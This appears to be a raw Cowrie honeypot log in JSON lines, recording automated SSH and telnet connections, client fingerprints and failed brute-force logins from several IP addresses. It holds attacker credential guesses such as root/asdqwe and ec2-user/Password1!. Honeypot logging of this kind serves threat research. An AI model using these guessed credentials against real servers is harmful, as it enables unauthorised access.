{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:34:11.010199Z","src_ip":"2.57.121.112","session":"3dadb1602857","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":60564,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9c5d3a3417d","protocol":"ssh","message":"New connection: 45.78.230.231:60564 (10.17.0.5:22) [session: e9c5d3a3417d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:34:14.135725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:34:14.141328Z","src_ip":"45.78.230.231","session":"e9c5d3a3417d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:34:14.435494Z","src_ip":"45.78.230.231","session":"e9c5d3a3417d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdqwe","message":"login attempt [root/asdqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:34:15.636559Z","src_ip":"45.78.230.231","session":"e9c5d3a3417d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:34:16.936316Z","src_ip":"45.78.230.231","session":"e9c5d3a3417d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":55280,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f138369430e","protocol":"ssh","message":"New connection: 190.244.39.224:55280 (10.17.0.5:22) [session: 5f138369430e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:34:52.576498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:34:52.581119Z","src_ip":"190.244.39.224","session":"5f138369430e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:34:52.784537Z","src_ip":"190.244.39.224","session":"5f138369430e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"Password1!","message":"login attempt [ec2-user/Password1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:34:53.611535Z","src_ip":"190.244.39.224","session":"5f138369430e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:34:54.815453Z","src_ip":"190.244.39.224","session":"5f138369430e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":43772,"dst_ip":"10.17.0.5","dst_port":22,"session":"943df6ea96db","protocol":"ssh","message":"New connection: 14.224.213.222:43772 (10.17.0.5:22) [session: 943df6ea96db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:35:02.470860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:35:02.475733Z","src_ip":"14.224.213.222","session":"943df6ea96db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:35:02.726967Z","src_ip":"14.224.213.222","session":"943df6ea96db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vps1","password":"vps1","message":"login attempt [vps1/vps1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:35:03.724315Z","src_ip":"14.224.213.222","session":"943df6ea96db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:35:04.967305Z","src_ip":"14.224.213.222","session":"943df6ea96db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":52832,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cc6ade02c56","protocol":"ssh","message":"New connection: 2.57.121.25:52832 (159.203.135.109:22) [session: 3cc6ade02c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:35:48.898551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:35:48.903303Z","src_ip":"2.57.121.25","session":"3cc6ade02c56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:35:48.998410Z","src_ip":"2.57.121.25","session":"3cc6ade02c56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28081993","message":"login attempt [user/28081993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:35:49.452955Z","src_ip":"2.57.121.25","session":"3cc6ade02c56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"280786","message":"login attempt [user/280786] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:35:50.550937Z","src_ip":"2.57.121.25","session":"3cc6ade02c56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"280588","message":"login attempt [user/280588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:35:51.647913Z","src_ip":"2.57.121.25","session":"3cc6ade02c56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28051978","message":"login attempt [user/28051978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:35:52.746624Z","src_ip":"2.57.121.25","session":"3cc6ade02c56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28041993","message":"login attempt [user/28041993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:35:53.851454Z","src_ip":"2.57.121.25","session":"3cc6ade02c56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:35:54.951312Z","src_ip":"2.57.121.25","session":"3cc6ade02c56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":40824,"dst_ip":"10.17.0.5","dst_port":22,"session":"db1f4b81018a","protocol":"ssh","message":"New connection: 14.224.213.222:40824 (10.17.0.5:22) [session: db1f4b81018a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:36:08.888582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:36:08.893095Z","src_ip":"14.224.213.222","session":"db1f4b81018a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:36:09.130270Z","src_ip":"14.224.213.222","session":"db1f4b81018a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"1234567890","message":"login attempt [test1/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:36:10.107527Z","src_ip":"14.224.213.222","session":"db1f4b81018a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":37138,"dst_ip":"159.203.135.109","dst_port":22,"session":"6953855f33a7","protocol":"ssh","message":"New connection: 193.32.162.145:37138 (159.203.135.109:22) [session: 6953855f33a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:36:10.119212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:36:10.123929Z","src_ip":"193.32.162.145","session":"6953855f33a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:36:10.225162Z","src_ip":"193.32.162.145","session":"6953855f33a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"firedancer","message":"login attempt [ubuntu/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:36:10.540302Z","src_ip":"193.32.162.145","session":"6953855f33a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:36:11.346753Z","src_ip":"14.224.213.222","session":"db1f4b81018a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:36:11.644508Z","src_ip":"193.32.162.145","session":"6953855f33a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":37722,"dst_ip":"10.17.0.5","dst_port":23,"session":"baf1e23bab0e","protocol":"telnet","message":"New connection: 180.235.129.180:37722 (10.17.0.5:23) [session: baf1e23bab0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:36:58.230504Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":37724,"dst_ip":"10.17.0.5","dst_port":23,"session":"56de9f0c932f","protocol":"telnet","message":"New connection: 180.235.129.180:37724 (10.17.0.5:23) [session: 56de9f0c932f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:36:59.229117Z"}
{"eventid":"cowrie.session.closed","duration":6.942339897155762,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:37:05.172732Z","src_ip":"180.235.129.180","session":"baf1e23bab0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":56906,"dst_ip":"10.17.0.5","dst_port":22,"session":"7568108015df","protocol":"ssh","message":"New connection: 14.224.213.222:56906 (10.17.0.5:22) [session: 7568108015df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:37:15.516440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:37:15.522133Z","src_ip":"14.224.213.222","session":"7568108015df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:37:15.776621Z","src_ip":"14.224.213.222","session":"7568108015df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!QAZ","message":"login attempt [root/admin!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:37:16.828747Z","src_ip":"14.224.213.222","session":"7568108015df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:37:18.084896Z","src_ip":"14.224.213.222","session":"7568108015df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":53936,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cab489b1d08","protocol":"ssh","message":"New connection: 190.244.39.224:53936 (10.17.0.5:22) [session: 8cab489b1d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:16.872014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:16.879853Z","src_ip":"190.244.39.224","session":"8cab489b1d08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:17.073808Z","src_ip":"190.244.39.224","session":"8cab489b1d08","protocol":"ssh"}
